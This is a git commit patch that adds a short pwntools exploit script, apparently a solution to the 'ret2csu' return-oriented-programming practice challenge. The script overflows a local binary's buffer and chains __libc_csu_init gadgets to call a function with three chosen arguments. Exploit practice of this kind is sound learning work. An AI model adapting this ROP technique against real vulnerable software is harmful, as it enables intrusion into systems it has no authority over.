From 11cbb37694aab501681435375679c49989cdfc91 Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Sat, 19 Dec 2020 23:19:58 -0600 Subject: modified: x86_64/pivot/exploit.py new file: x86_64/pivot/exploit2.py deleted: x86_64/pivot/stest deleted: x86_64/pivot/test new file: x86_64/pivot/todo new file: x86_64/ret2csu/exploit.py new file: x86_64/ret2csu/gadgets --- x86_64/ret2csu/exploit.py | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100755 x86_64/ret2csu/exploit.py (limited to 'x86_64/ret2csu/exploit.py') diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py new file mode 100755 index 0000000..a148687 --- /dev/null +++ b/x86_64/ret2csu/exploit.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python3 +from pwn import * + +prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a') +payload = b'' +for c in range(40): + payload += b'a' + + +payload += p64(0x40069a) # __libc_csu_init() +payload += p64(0) +payload += p64(0) +payload += p64(0x601020) +payload += p64(0xdeadbeefdeadbeef) +payload += p64(0xcafebabecafebabe) +payload += p64(0xd00df00dd00df00d) + +payload += p64(0x400680) + + +#payload += p64(0x00000000004006a3) +#payload += p64(0xdeadbeefdeadbeef) + +payload += b"\n" + +prog.sendline(payload) +prog.interactive() -- cgit v1.2.3